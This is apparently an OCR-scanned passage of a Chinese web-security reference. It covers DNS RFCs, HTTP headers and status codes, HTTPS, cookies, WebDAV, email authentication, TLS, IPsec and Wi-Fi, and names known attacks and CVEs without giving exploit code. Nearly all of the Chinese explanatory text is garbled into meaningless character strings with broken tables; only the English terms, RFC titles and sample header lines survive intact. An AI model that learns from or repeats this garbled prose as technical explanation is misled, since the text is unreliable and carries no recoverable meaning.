WA ELIBCR Y AT A R, B T BRI B 30 XM A AR 3 SR IR A r AT SR
TRV =G, 5 = WIRROREUS , METICSR T A BO . FERX RN SER R RAKE I H IR 2 =05 BE,
PABRI il i A S v i
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ELIRS

DNS Jlg 5% < IFH UDP i, 24 DNS Jiz 55 @9 B 908 NS Jexmf, it DNS 1 UDP Jpag
dr Al PASE B A A2 e 55 o

2.6.9 BEHEE

RFC

RFC 1034 DOMAIN NAMES CONCEPTS AND FACILITIES

RFC 1035 DOMAIN NAMES IMPLEMENTATION AND SPECIFICATION
RFC 1123 Requirements for Internet Hosts — Application and Support
RFC 2535 Domain Name System Security Extensions

RFC 2930 Secret Key Establishment for DNS (TKEY RR)

RFC 2931 DNS Request and Transaction Signatures ( SIG(0)s )

RFC 3596 Legacy Resolver Compatibility for Delegation Signer (DS)

RFC 3755 DNS Extensions to Support IP Version 6

RFC 5001 Automated Updates of DNS Security (DNSSEC) Trust Anchors
RFC 5936 DNS Zone Transfer Protocol

RFC 5966 DNS Transport over TCP - Implementation Requirements

RFC 6376 DomainKeys Identified Mail (DKIM) Signatures

RFC 6762 Multicast DNS

RFC 6891 Extension Mechanisms for DNS (EDNS(0))

RFC 6895 DNS IANA Considerations

RFC 7766 DNS Transport over TCP - Implementation Requirements

RFC 7858 Specification for DNS over Transport Layer Security (TLS)
RFC 8082 NXDOMAIN

RFC 8482 Providing Minimal-Sized Responses to DNS Queries That Have QTYPE=ANY
RFC 8484 DNS Queries over HTTPS (DoH)

RFC 8490 DNS Stateful Operations

RFC 8499 DNS Terminology

2.6.
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https://tools.ietf.org/html/rfc2930
https://tools.ietf.org/html/rfc2931
https://tools.ietf.org/html/rfc3596
https://tools.ietf.org/html/rfc3755
https://tools.ietf.org/html/rfc5001
https://tools.ietf.org/html/rfc5936
https://tools.ietf.org/html/rfc5966
https://tools.ietf.org/html/rfc6376
https://tools.ietf.org/html/rfc6762
https://tools.ietf.org/html/rfc6891
https://tools.ietf.org/html/rfc6895
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IR

e Unbound

e bind9

o DGA 4454 Zig. B, 5458
o DNSSEC JFEHEFI417

e Plohmann D, Yakdan K, Klatt M, et al. A comprehensive measurement study of domain generating
malware[C]//25th {USENIX} Security Symposium ({USENIX} Security 16). 2016: 263-278.

e An End-to-End Large-Scale Measurement of DNS-over-Encryption: How Far Have We Come?

#83x< CVE

e SIGRed — Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS

Servers

2.7 HTTP {hil5&

2.7.1 HTTP #R#E&

]ICHEX

TERRIAER

<method><request-URL><version>

<headers>

<entity-body>

e Rz 4R SCHE =X

<version><status><reason-phrase>

<headers>

<entity-body>
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https://github.com/isc-projects/bind9
https://mp.weixin.qq.com/s/xbf0Qbppk8R0nx89Pb4YTg
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FERE

e method
— HTTP #hii
— ¥ W ¥ HEAD / GET / POST / PUT / DELETE / PATCH / OPTIONS / TRACE
— P H¥: LOCK / MKCOL / COPY / MOVE
e version
— R HTTP jiA
— ¥3 HTTP/<major>.<minor>
e url

— <scheme>://<user>:<password>@<host>:<port>/<path>;<params>?<query>#<frag>

THRLTIR

e Accept
— FRER ) I AR N AR
— Accept: text/plain, text/html
e Accept-Charset
— YA ] AREZ 0 AT S 5
— Accept-Charset: iso-8859-5
e Accept-Encoding
— $RE W B AR ] ASCRRY web I 55 45 1R 0] A G g 2R 2
— Accept-Encoding: compress, gzip
e Accept-Language
— WUV
— Accept-Language: en,zh
e Accept-Ranges
— ATRATE SR M B i — A AT B
— Accept-Ranges: bytes
e Authorization
— HTTP AU EZBGIET

— Authorization: Basic QWxhZGRpbjpvcGVulHNIc2FtZQ==

2.7. HTTP il
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e Cache-Control
— R R AN NETER) G AL Cache-Control: no-cache
o Connection
— FRRETEFFAER /) HTTP 1.1 BOAA TR A E
— Connection: close
o Cookie
— HTTP 3R AN, SACRIFAEIZE KIS THIFTA cookie ([H—R AR % web R 554%
— Cookie: role=admin;ssid=1
e Content-Length
— R NERE
— Content-Length: 348
e Content-Type
RIS AR MIME {55

Content-Type: application/x-www-form-urlencoded

o Date
— AR Kk R HAPIFII E]
— Date: Tue, 15 Nov 2010 08:12:31 GMT
o Expect
— ORI E IR 5 417>
— Expect: 100-continue
e From
— RHHERAN A Email
— From: user@email.com
o Host
— TRERA IR S5 R A Al 5
— Host: www.github.com
o If-Match

— JAHERNA S LRI A A 3L
— If-Match: "737060cd8c284d8af7ad3082f209582d”

o If-Modified-Since

26 Chapter 2. HEHFLE S5l
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— QR SR A FR T AE A B (R Z S S SO SR By, ARgdE el sk ] 304 A A4
— If-Modified-Since: Sat, 29 Oct 2018 19:43:31 GMT

If-None-Match
— ARNERNALR ] 304 CH, SHONISS S Jehl Kish) Btag, SHRIS &IV Etag HAL
Lo &
— If-None-Match: 7737060cd8c284d8af7ad3082f209582d”
If-Range
— QRECHOREE , IRSFAS SR P RISy, MR IR Sk . St Etag
— If-Range: ”737060cd8c284d8af7ad3082f209582d”
If-Unmodified-Since
— FUE ST RE I 8] 2 J5 RAE A5 K )
— If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
Max-Forwards
— PR R A A A% 1 Y )
— Max-Forwards: 10
Pragma
— RAE LI ER TR
— Pragma: no-cache
Proxy-Authorization
— R EAOE T
— Proxy-Authorization: Basic QWxhZGRpbjpvecGVulHNIc2FtZQ==
Range
= HUERIR—FBo, F8EEH
— Range: bytes=500-999
Referer
— SEHTM BT, 2 HE R R RS, RIR %
— Referer: http://www.zcmhi.com/archives/71.html
TE
— B PumE R Rt TRE R SS f e BN

— TE: trailers,deflate;q=0.5

2.7.
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e Upgrade
— IR S5 A E B A S DA AR 55 25 A T (AR SCHF)

— Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA /x11

User-Agent
— User-Agent 1JNZAWE K HERIYH P EE

— User-Agent: Mozilla/5.0 (Linux; X11)

» Via
— JEAE] R B R A5 AR, R AE PN
— Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)

Warning
— RTIHE LA ESEE

— Warn: 199 Miscellaneous warning

EIVERTES
Accept-Ranges
— RIS A2 A5 SRR 8 T FEE R SRR 28 2 Ay 7 B oK

— Accept-Ranges: bytes

Access-Control-Allow-Origin

— CEA AR5 ) 9 R P Ja

— Access-Control-Allow-Origin: <origin>|*

e Age
— MBI IR 5545 2 R GAATE M A SRS 1) (DARMTE, JEfR)

— Age: 12
o Allow
— I SRR A I TRAT R, AN ARVl ] 405
— Allow: GET, HEAD

Cache-Control

— IR I RAFHLG] A 0T A AT S b 22
— Cache-Control: no-cache

Content-Encoding

Chapter 2. HEHI ML Sl
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— web R 558% SCRFH IR 0] N2 He 4 T A 2
— Content-Encoding: gzip
e Content-Language
— W NARRTE S
— Content-Language: en,zh
e Content-Length
— W R R B
— Content-Length: 348
o Content-Location
— SR BEIE TR AU 8 T 0 55— Hiudik
— Content-Location: /index.htm
o Content-MD5
— IRIEBEYERY MD5 AL {H
— Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ==
e Content-Range
— TEREANIR ] A R AR B o L
— Content-Range: bytes 21010-47021/47022
e Content-Type
— REINZR MIME 2674

— Content-Type: text/html; charset=utf-8

o Date

— SRR A K IR

— Date: Tue, 15 Nov 2010 08:12:31 GMT
e ETag

— WORASE I S ARTRAE Y 24 B

— ETag: ”737060cd8c284d8af7ad3082{209582d”
o Expires

— W S S ) H BRI ES TR]
— Expires: Thu, 01 Dec 2010 16:00:00 GMT

o Last-Modified

2.7. HTTP il 29
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— TR A5 18 2 )
— Last-Modified: Tue, 15 Nov 2010 12:45:26 GMT
e Location
— R EE O BRI R URL (08 52 0 >R s T 1 e 5
— Location: http://www.zcmhi.com/archives/94.html
e Pragma
— IR ERIAE S, BTN IR BLEE b R EIOr
— Pragma: no-cache
¢ Proxy-Authenticate
— B HIAIETT FEAR R B A% URL _ERSEL
— Proxy-Authenticate: Basic

e Refresh

— T EE MR ERE, 765 B2 REE R (hIMEHRE, RO b 52

F)
— Refresh: 5; url=http://www.zcmhi.com/archives/94.html
¢ Retry-After
— QERSCARRIIN R ATH, S E I R 5 PR
— Retry-After: 120
e Server
— web JREFERIAFZ TR
— Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)
o Set-Cookie
— & B Http Cookie Set-Cookie: UserID=JohnDoe; Max-Age=3600; Version=1
e Strict-Transport-Security
BCELN b i HTTPS 1517
max-age: x PRI [E] P37 )X R 44 KRG HTTPS 453K
includeSubDomains: ¥ % i) 71844 55 B AR

Strict-Transport-Security: max-age=1000; includeSubDomains

e Trailer

— F5 W S e Ay B G i e S Y R SR AFEAE. Trailer: Max-Forwards
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e Transfer-Encoding
— R
— Transfer-Encoding:chunked
e Vary
— YRR () A7 Wi o M A R 55 i oK
— Vary: *
e Via
— SRR g LA e WP L A A 1Y
— Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
e Warning
— SRR BEAAERY 1)
— Warning: 199 Miscellaneous warning
¢ WWW-Authenticate
— R i SR SR B AT S
— WWW-Authenticate: Basic
e X-Content-Type-Options
— BCEAE I MIME SR
— X-Content-Type-Options: nosniff
¢ X-Frame-Options
— FLETUAE R IAE <frame>, <iframe>, <embed>, <object> SFR%Hr, By 1k i HE
— X-Frame-Options: deny
e X-XSS-Protection
— FCHE XSS PifrLiil

— X-XSS-Protection: 1; mode=block

HTTP RARERIE 1xx (IEEFEEL)

TNk W) B -85 20 SR GRS AT B IR S AURD

Code | %5 1A
100 | 4kg: AR 45 g 1] B AR FR EUREE SR 28— 0y, IEAE SR B i
101 | YR | iERE B ERIR S 2RI, RSS2 E RN HE & U
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HTTP KZREE 2xx  (BEZh)

FOR I T RAPRESARD .

Code | X#5 15 BA

200 | AN R 554 CBIAL B T 65K . i, X FORIR ST AR ER At T K M 5T
201 | Bz TR IIH Bk 55 4 B 1B B E

202 | % MR 554 D2 oK, HH AT

203 | ERAUEE | IRSART I TR, HIRRIE EATEER B 55— KR

204 | BNE M 55 A AR BE TR, EAT R [T 2

205 | EEHNE m R4 AL TR, (HIAE IR BT A Y 2
206 | FOAHNE MR 45 28 AL HL T4y GET 33K

HTTP RERERE 3xx (EEM)

FONEGEIOEOR, TR, R, RS R E E .

Code| X173 1A
300 | ZFhEEE | EXTIECR, RS ITPATZSFELE. RS TRIEEKE (user agent) HEHF—IHAE,
R AL E D R SR
301 | kAR | WoRAIM T E K A B AL E . IREHHRE MmN (X GET 5 HEAD 53K AR . )
B, 2 B3 RE R OLE .
302 | mESRLEh | R4S B B0 AN RSB I T B i K, (R SR N Ak Al R A A R T LS Y
K,
303 | A F HA | 15K N XA R AL B B ) GET 3R RN, ARG gk [ AR A
Ay
304 | K&k HM EWGERGE, EREM RGN . RS AR B R B, N 2R (5] R 5T Y 25
305 | EHACHEE | EskeE AR ARPRYT RE SR A T QSRR S5 28R m] g ., TR i ok 2 Al
I,
307 | mEFEE E | HRSS#s B BT AN R I T B i K, (EE SR B Akl Al R A A BRI T A
1] WK

HTTP KRZRE KD 4xx (FKREEIR)

RSN FRUTR T RE 85, Wit 1 M55 g AL B

32
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Code | X7 bz
400 | HyiRIEK Jk 55 5 AN BRI R
401 | AREAL TR EDR B BAIE . X T RE BB L, Al 55245 v] BEAR [|] B 1 .
403 | 2k M5 fadaiseK.
404 | ARERF JR 55 AR ARAS BT 5K ) I T
405 | HEEEH S SR R E I
406 | AEZ TV A PR SR DA AR i 17375 S 1) 1) B
407 | TEAAPREAL RIS S 401 CREZRL) M0, (HFR 2 10 5K E I 24 B AU AR
408 | kAT Ik 55 S S50 SR I 25 A A
409 | wpz JIR 55 #RAE ¢ T SR B A Az b 58 o IR 55 A Wb ZE M B A0 5 A R b R 15 B
410 | EMIER WA KA TR TR AR, R 55 st o 1 [l st i
411 | FEAMKSE IR 5 2§ AN A SN A bR Sk B oK
412 | R R ER AR IR 45 A T A2 1 SRR T SR B ) L — AN TR AR
413 | TR k5548 ToEAL BRI K, PR SRS R, IR SF AR AL PR AE
414 | 53K URL ik WoRE) URL GlE N ML) K, R8I,
415 | ACFFEAREY | SRR N S SR U 1 SO
416 | ORIV AT A B | AR U TOERRAE RIS, DR 55 4% 22k ml RS .
R
417 | R R EE R S5 ARNE” WIER” WK bRk P B K.

HTTP KZRE KD 5xx (ARFEHEIR)

LRSI ZR MR S5 S e 2 AL BTSSRI A R 12 X SUB IR ] RE R R A5 AR AN B B R, AN 2 37K
-

Code | {£%8 15 BA
500 | AR 55 N FREE M55 iB R R, TR E E K.
501 | [HARSE MR 55 #e AN B A SE ORI TIRE . B, MR55#5 o3k FUMG K 77 v i T B 23k
o] A A
502 | FHEIRM K JIR 55 e R W S O, AN E 3l 95 A SO o R 1Y o
503 | HRS5AFTH W g5 #s BRI JE RN (i T84y ) . i, X HRgRES.
504 | Sk R 55 25 AR 0 A, ER VA SN b3 55 i 337 5K
505 | HTTP WAARZ L | g5 A SCipig Kb i i) HTTP Pl iiAs .
i

2.7.2 HTTP =&
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HHTTP

HTTP 25T TCP/IP Pl R, T BHE 1% P omAIAR 55 2 R A A% 2, BOABER 80 .

HTTP 0.9

HTTP 0.9 fir 48 1991 4F %A1, (52 FF GET i, i REXIUA R BAY GET /url , Jiz55 sk HTML,
Wi 5E 58 5 e TCP 4%

HTTP 1.0

1996 4F 5 H, HTTP/1.0 A%k, F& T EmEXMNE, ©£5/ AT POST, HEAD W/ 3fi. M 1.0
TG, AAFE TP MR A . 76 1.0 1, W5 A TR (status code). ZFFFELRE. B2 Kik
(multi-part type). F{FR (authorization). ZEfE (cache). WNZ&HIY (content encoding) ZEHNZ .

HTTP 1.0 iRy FRE 2, B4 TCP M HBE AR — R, KiASdnsese, HEm M, anRiEe i
SRHAGEIR, WP — A~ .

TCP HEEAHE AR, TR AR 4 = KB T, I BT SR R RN (slow start), Fir
PA, HTTP 1.0 AP RE AR 2=

HTTP 1.1

1997 4F 1 7, HTTP/1.1 jiAkA, #—8583% 7 HTTP hill. 11 A FERIA T HRAER . EEbl
il . Content-Length, Z-¥&iidmihssNzs. BEMEEIER—A TCP 8 B, & Fim ] AR A% %
AR, SBEREMCHE T HTTP PMY . PUT. PATCH, HEAD. OPTIONS. DELETE %3] )y ¥
RAE HTTP 1.1 fJRAGIAM. B4h 11 fAH T Host 7B, M THSEIRS AL, X250k Bl 3
WU DA R 1) il o

AR 11 AR T TCP i, HREF—A TCP HH#HE, Frg MBI S 25T, RsaH
BACIRGE AR, AT N — BN R —AERRE, S PE IS 15K

SPDY

2009 4F, WHATIFT BATOIAR) SPDY #080, T HTTP /1.1 AR RBP4 HTTP/2
IUE- R

HTTP/2

2015 4, HTTP/2 %Afi, HTTP/2 j&—A—db b, SERAERAEE —Uth], GAkmi (frame), Wi
kAR Rl HTTP/2 B TCP 8z, FE—MEEHRL, &5 S nl A i Ak 2 i
SREIEIR, T ELAS 4 BR8] 17
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2.7.3 HTTPS

&g

HTTPS (HyperText Transfer Protocol over Secure Socket Layer) 0] DABEfi# >l HTTP+SSL/TLS, R HTTP
FANA SSL 2, HTTPS (%4 5at & SSL.

XE

MEHIEIERTER

o WYEEEAE HTTPS 55k
o SR IA HTTPS Uk
— Ho ey
* B B,

*

5
&

*
5
=il
e
iy
G

*

*
2 g
& N
=

* L
o BPmBALIER R A, WRA GRS

HiREM R

YUEBEALARS, EAH A YL

M A REILEL, FHE I 5 0 ELAE 5 21 R 55 i

e 95 it 368 2k FL G0k AL AR T e

o S5 i L 5 e AR REHUEOR R AR IR, X ol 45 28 N A B A T I 14

CA

CA (Certificate Authority) @AUAKCFUET ML . 2 5T A AT BREC TR BURBILAG , AR TR
FR T PRI =Ty, A AR R P AP BRI 5T
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2.7.4 Cookie

&g

Cookie (HHUEA Cookies), KA [/NUISCARSCHEL, FEREEER N T HEAM 1 S Gy T i A A s 4
A iUE IR

B

name

cookie I FR.

value

cookie H{H.

expires

¥ Expires JRYESVE I, Fig &l Cookie, FE] K PN YT 4RI R AL

max-age

max-age A PUHIESL. 7140, 0. WIR max-age JEM HIERT, WSS HAEFA L, 24 max-age BN 7
B, Wiz Cookie Hug—i~2xififk Cookie, 24 max-age Sy 0 B, JZ 2 RIMERX A~ Cookie. Expires
max-age HIFLERISRMF T, max-age HLJEg T .

domain

5 Cookie W44, BRIAZ M FIE 4. domain B2 I W] DA E N B B KL, 38 0] DAV A A8
Cookie, Z AfE.

path

G A~ URL B, 50N UL BLAE BTk MOV A Gt A ] DR RS RZAY Cookie.

secure

Hfgiid HTTPS k.
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httponly

FRHi| Cookie {4E HTTP i #rp s, —@ERE LR XSS Ml

SameSite

SameSite % Strict / Lax / None =F{H. Strict F h/=ws, SE425 115 =75 Cookie, EEuhNH, (T
UL N2 K% Cookie. Lax fuiFilir 4 =y K Cookie, FELRHHE. fiimak. GET RE=FpEIL.
Cookie ff] SameSite J&M:>5 None , Hi%E T Secure f, Tt EEEEuEHIS k&% Cookie,

2.7.5 WebDAV

[F1

WebDAV  (Web-based Distributed Authoring and Versioning) —#p3+ HTTP 1.1 $hiFEEHL. B
J& 7 HTTP 1.1, £ GET. POST. HEAD % JLA> HTTP ARk LASNE I T— L85 vk, 0 R
A% Web Server HAERLS , HCFRFEICIHUE . M, ARG IIEE.

SCRA 5 Ay -
. OPTIONS
— BRI S5 20 S8
« GET / PUT / POST / DELETE
— BRURERIE
« TRACE
— BRERR 55
« HEAD
« MKCOL
— QLA
« PROPFIND / PROPPATCH
« COPY / MOVE

« LOCK / UNLOCK

% CVE

« CVE-2015-1833

— Apache Jacrabbit WebDav XXE
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— http://www.securityfocus.com/archive/1/535582
« CVE-2015-7326
— Milton WebDav XXE

— http://www.securityfocus.com/archive/1/536813

2.7.6 Bk
RFC

o RFC 3253 Versioning Extensions to WebDAV (Web Distributed Authoring and Versioning)

o RFC 3648 Web Distributed Authoring and Versioning (WebDAV) Ordered Collections Protocol
o RFC 3744 Web Distributed Authoring and Versioning (WebDAV) Access Control Protocol

o RFC 4437 Web Distributed Authoring and Versioning (WebDAV) Redirect Reference Resources
e RFC 4918 HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)

o RFC 5323 Web Distributed Authoring and Versioning (WebDAV) SEARCH

o RFC 5842 Binding Extensions to Web Distributed Authoring and Versioning (WebDAV)

Blog

e What should a hacker know about WebDav
o Cookie 1) SameSite Jg@1

o HTTP thHil ATl']

2.8 MR

2.8.1 {&9r
SMTP

SMTP (Simple Mail Transfer Protocol) J&—Ff it T BRI ML, &—20 T A IEHHES) 5 k25
HRPERIRITE . ANJEH SSL i 114528 25, JHH] SSL NI 1152k 465 5 994.

POP3

POP3 (Post Office Protocol 3) 7T S Rl % o il AR 4 BEAE AR 95 LA A8 T #BFF. A1 SSL i 115
S 110, JE A SSL B 1524 995,
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IMAP

IMAP (Internet Mail Access Protocol), BIAZ H A MEAAFE L, B2 POP3 ZEMRIMRAE; AR HEML L —.
AFEE, HET IMAP 5, GTEH-FHREE PO iR A AR R BB TER 5545 b, RIBFTER P b A #RAE
o B MRS 25 b, an: MEREREE, ARice s, MRS BRI BUAHN sV . NS SSL Eig 1
54 143, B SSL i 154 993,

2.8.2 PR

SPF

KA NHEHESE (Sender Policy Framework, SPF) /22— fL FERPHAMENLE], AT HRIAAE T HECE 25 i Pk
BRI S5 fe a5, B 1A N D B B0y M 454 fa ol g th SR s PR . SPF Ao iF g B A € —1> DNS TXT
TESREL SPF 0% AOsmp PRI # i) IP Jul, WAL ATHRAEH AR iR SR I TP Huhkay i, IR
] BB MR E I AERA S i R 25 F A

DKIM

A2 TR SR (DomainKeys Identified Mail, DKIM) il -1 i8¢ 2 £ NHLIE Dh i A9 535 . K ik
I SAEMBPERY Sk H A DKIM-Signature, WeftJ5idid #eif) DNS JC5H g 2B Bk 2 A F ARIE -

DMARC

ETF RIS EINE. 45 —3ME (Domain-based Message Authentication, Reporting and Conformance,
DMARC) J&H THREE S IuE s, T e iR 2R op R B34 AN IE A3 A — B0y IRy, i
DMARC 4, Wt SPEF 8¢ /1 DKIM #5030 560E,  Ha5 2 brk bk J 42 i 5 288 By i 1E Ry
W4 —2k.

2.8.3 &5
RFC

o RFC 4408 Sender Policy Framework (SPF) for Authorizing Use of Domains in E-Mail, Version 1

e RFC 6376 DomainKeys Identified Mail (DKIM) Signatures

o RFC 7208 Sender Policy Framework (SPF) for Authorizing Use of Domains in Email, Version 1

e RFC 7489 Domain-based Message Authentication, Reporting, and Conformance (DMARC)

o RFC 8301 Cryptographic Algorithm and Key Usage Update to DomainKeys Identified Mail (DKIM)
e« RFC 8463 A New Cryptographic Signature Method for DomainKeys Identified Mail (DKIM)

e RFC 8616 Email Authentication for Internationalized Mail
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e« RFC 8611 Mail

R

e Sender Policy Framework wikipedia
e DomainKeys Identified Mail wikipedia

e DMARC wikipedia

MREXE

e Composition Kills:A Case Study of Email Sender Authentication

2.9 SSL/TLS

2.9.1 &

SSL 4F5j2 Secure Sockets Layer, %&EHFR, BRMMEAT (Netscape) £ 1994 4EHf T, E3M
T Web Byl , HAE R MAGEEHR AR . NI MBS B IR . 4, SSL C&Ch
TR P PR A Y ol bR

SSL s #IHJLANHA (SSL 1.0, SSL2.0. SSL 3.0) Mt A a4, M 3.1 AT 4G, SSL il
FAEN TAAMTS /N (IETF) IE8, I3 48 TLS(Transport Layer Security), XBEZE4EH TLS 1.0,
TLS1.1, TLS1.2. TLS1.3 XJLAMRA.

0 TLS #5ri, SSL/TLS Ml ULz 24 Ry, dF sl B Bt (B ik 13dLal), SSL/TLS
ARERON TR Z Bk (multi-hop) S bmid (7, i LRI WU E LA -

SSL/TLS s AR F it 22 4x H AR FHEAFE T ILA:
o NIEE
— BT UEATAUERR 55 S i A i B Oy, B Lk S Oy D
— BG4 =07 5y
o SERETE
— fEBIHEINIERS (MAC) fREEEn SR, By R IH S
o HJRPRD
— i i S By 1 R
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http://i.blackhat.com/USA-20/Thursday/us-20-Chen-You-Have-No-Idea-Who-Sent-That-Email-18-Attacks-On-Email-Sender-Authentication-wp.pdf

Web-Sec Documentation, &% 1.0

N TR AR, SSL/TLS MRSasit h— AW Betisl, 7 A de B BERIY B B :

2 FBr BB B, FEX—BrBe, & an AR SS i AU 7 By (OB PRI (AR, MR IR
AT S BINIE) . FFEIIRTE N A SR BHEIFA L MasterSecret . 5228 (BT A #9102
1L MasterSecret 42 p. TEMRTHrESEMUG , HEAR T Be. RN B B (5 AU (8 48 T Hr B i e )
BT 2 Al -

2.9.2 ¥

TLS W& LAY, OB I RAIC TR BRI, BT A E R A .

LR il

s (Record Protocol) #iE 7 TLS W A BHRA A BN {C 5% (record),

EHRL

EA I (Alert Protocol) M TFH/n il < Hid At B iR -

EF L

{2 T3 (Handshake Protocol) 2 TLS BRI AH9 THHL, 7e FaLRE R HyRT TLS KAS . HbLEC 57
BIFSEE, RIFCHIEBREHSE, B WREEILEES, AT RS AN R4

TEEEAEDHW

AR AT ALE MY (Change Cipher Spec Protocol) J&—A “HlAI”, &UFXITr, ek Soal-rs o n s £
AR

2.9.3 FTHTE
Client Hello

Client Hello & i kik, NWAEGTEE I —4 Unix BE# (GMT Unix Time), —SEFEHLH T
(Random Bytes), iRFE T % i 2 a5 257 (Cipher Suites),

Server Hello

Server Hello IR 553 K15, WA LA A . GMT Unix Time PA K Random Bytes,
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Certificate

HI IR 55 el % i A, AR TT 220 B BB UE R AR O, RO I TIE B, ARANE
WA, O 2 PR TSR . —BURAE Client / Server Hello iR 302 J5

Server Key Exchange

k5%, K H ORI AHASEERS 7% )0, —&HFl Server Hello 5 Certificate ¥£—4> TCP #3C
i,

Server Hello Done

M5 &%, —MtAl Server Hello, Certificate fl1 Server Key Exchange #F—/~ TCP it 3( .

Client Key Exchange

BRI, IRSS A H O RIS, SRS R A

Change Cipher Spec

B P R %, IR Koy Exchange %3%, 0 H DA THIAORSS1, SWAKH 7 UK S8 41,
B BT

Encrypted Handshake Message

s E RS 1%, BERAE Key Exchange k. ST, —J5 M) B C YRR AR G 25 80 i — Bl
SERIHE I XTTr, AR IR IR JC R TG, Xl DAIE B

New Session Ticket

g5 i dis , FoRKEKTE, E—BRIZ N GBI EIRZ A), SU7ARARIRI A By B 91Tl fE . M
XPASS, I IEATT G

Application Data

(o0 PR TSNS P 8 R A 5 BT 8 ) 2 D 2 O 8

Encrypted Alert

BB SS S Ak, TR N £ DR DA R L S DR P, X AN B Ak R e
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2.9.4 REAEHAE

TLS 1.3

o SIAT PSK VRN & eIt rapL il
o SR O-RTT K, PAGAVERRACNUY, TERL RN TR I A]
o ServerHello 2 J5 i i A 48 T-1H B RIBCT N85 45, wI DLW SCmi2b
ANFFFCVERS I i SCHEAT i . ANV AR E AR
DSA SEFRFEAVE TLS 1.3 Hifiifi]
TR A2 2 ) 4 R B 7

— RSA LR - AN SCRel a1 224

— CBC #iU#HY - %+ BEAST #I Lucky 13 Xify

— RC4 %Y - 78 HTTPS i i R4 4

— SHA-1 M B EK - LA SHA-2 Bz

— {£#% Diffie-Hellman £1- CVE-2016-0701 Jili

— i - )52 FREAK 1 LogJam iy

2.9.5 Fihi¥
SSL/TLS sl —~w BERLHAL A, 7 AR T, F2HE:
« Handshake BjiX
— WRER L ESEREREL . 55w S OrAE (% PG S e %) . B0
« ChangeCipherSpec BHi¥
— —ZRIHERETIMNC A5 M
o Alert Bhi%

— WHEF BT — LR R BRI RE, 7o fatal A warning PIE0N, fatal JERHHRIR

P Wy SSL 444, 1 warning W4 SSL SR dksk, @S aiRE S
e Record ¥
— WIEXTE R B B4 HEINIERISERE Y. %%

2.9.6 BEHEE

2H

2.9. SSL/TLS
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RFC

e RFC 2246 The TLS Protocol Version 1.0

e RFC 4346 The Transport Layer Security (TLS) Protocol Version 1.1
e RFC 5246 The Transport Layer Security (TLS) Protocol Version 1.2
o RFC 6101 The Secure Sockets Layer (SSL) Protocol Version 3.0

e RFC 6176 Prohibiting Secure Sockets Layer (SSL) Version 2.0

e RFC 7568 Deprecating Secure Sockets Layer Version 3.0

e RFC 8446 The Transport Layer Security (TLS) Protocol Version 1.3

Document

o Wikipedia Transport Layer Security

2.10 IPsec

2.10.1 &F9r

IPsec (IP Security) /& IETF il €)= ZEEE ML, B4 Internet F A4 HRARIR AL T Mk . I
PR BT En 2Rk, RrE il s Z FFE IP 2l e SEARIAIESE 7 30, 248 T RATR
LA fRss

btk (Confidentiality)
— IPsec ik J7 Ak 00 4% 2 i A, BT A HEA T 88 o
o FisgidE (Data Integrity)
— IPsec T X K ik T A ik KM B HEATINIE ,  DABR PREICHETE 1% 4 1 A v e B
B K JNIE (Data Authentication)
— IPsec EREUCI AT DAAGIE & 3% TPsec ] SCHY & 26 215 &5 .
Bifjik (Anti-Replay)
— TPsec F2IC PTRI - FH 2 HSG ) s A RS

2.10.2 iR

IPsec HAPATLA:

o 3ff IKE (Internet Key Exchange, PFFMZFGIZcHL), WISCBUBIRY HEHRTIIRE, Wb T2 BT
e . ATAE IKE @74 SA BiRSs, itk 1 IPsec AR BE.
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o PN TP PulaEA TR 2 4m i B AR GERIAR 55 HR T LA TPsec, TS Do XTI 8 R ] ARG 55 A
DAL

o RPREAINE R AR O ALY, TS A ARSI R B, O CGR I T HLAT B T
IP Bl iy 24t m LA R M 2 e -

2.10.3 #3p%

IPsec DU N2 1 :
o TTFEEHAE TN Internet Z4HACHPY IKE (Internet Key Exchange Protocol)
o MTTREANRSS 50 WA AR R 1) %42 KB SA (Security Associations)

o HIEEVEHEIROIIAIEL MY AH (IP Authentication Header ) 1224 a1/ ESP (IP Encapsulating
Security Payload)

o AT AT AL B

2.10.4 Z£B%% (Security Association, SA)

[Psec ZEWIAN I 2 (AR 240005, I iFR ol IPsec X454

SA 2 IPsec HyREAl, tHJ2 IPsec AUAN T . SA 2l 5 WS A ] X L Se B R g 24, BN, i FERh M (AH
ESP i @& LS MR ) . U Eriit (iU pEER=l) . & Hy: (DES. 3DES fil AES). #F
E TR R R R S s SR DL R BB AR AR R I S . FT SA R T LECER IKE [E S P ig wifh

SA Y, TEP MR IR, BROTEA SA SRS I BB I T 22 2R
[FIIF, AR PSSR S E I AH A BSP SBgET 20455815, WU SERE S 45t —Fh s A8
B— ST SA.

SA H— =04 ME—FRIR, XAD=J0410FE SPI (Security Parameter Index, Z4&Z8&EY]). HW IP
Ml 24l (AH 5 ESP).

SPT 2T ME—FRil SA (94> 32 HUARRUE, E4E AH Rl ESP Skrp it 72 THCE SA i, FHEF T
& SPTHUE. B IKE Mg SA i, SPT REBELA L.

2.10.5 IKE

IKE (RFC2407, RFC2408, RFC2409) J& TR & Uil , By Internet 244 S BEAIEAHS MY (ISAKMP)
MR WML OAKLEY 5 SKEME 4. IKE f#7Ed ISAKMP & XHESE |, #TH T OAKLEY
H AR B DA K. SKEME (3L a0 s AR, b E X T8 H O MRS e i 52 .

IKE i ] 7B Bt ISAKMP:

—BrBE, PRI NEE G (IKE SA), HAHZEEIFTRAL, X7 #E—2 i IKE @5 gtk .
»% JELSERME DA R BRI IEIR S s 55 B, T2 IKE SA 757 IPsec SA (V2 diil Child SA).
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2.11 Wi-Fi

2.11.1 &

Wi-Fi B “TAHi” B “TLM%, & Wi-Fi BERRER, — 5T TEEE 80211 bR T2k R8s
R,

2.11.2 ik

RN

WiFi 52 5 T HUE RG], W] DAE 1 HTURGHR SCHY 7 3 UTEAS iy RS ) 4L B AT 2 T A i1

AY \t
% 19.%0“\

AP WA E T, R ARSI ARRER . W ADhiE AP KRR RIS, Rk
b B R AR R S o

D E

i i Vanhoef %8, Wi-Fi 7EHEFBOO07 2 HOFALY], SBGHES FiRFE R, 2% i 22 i
[ KRR o

Dragonblood

RORTAR) WPAS FREAESSI EA7 A — S, [AFE Vanhoef %30, LSS Sk, WRALEGE . U
M.

2.11.3 &5

e Wi-Fi Alliance

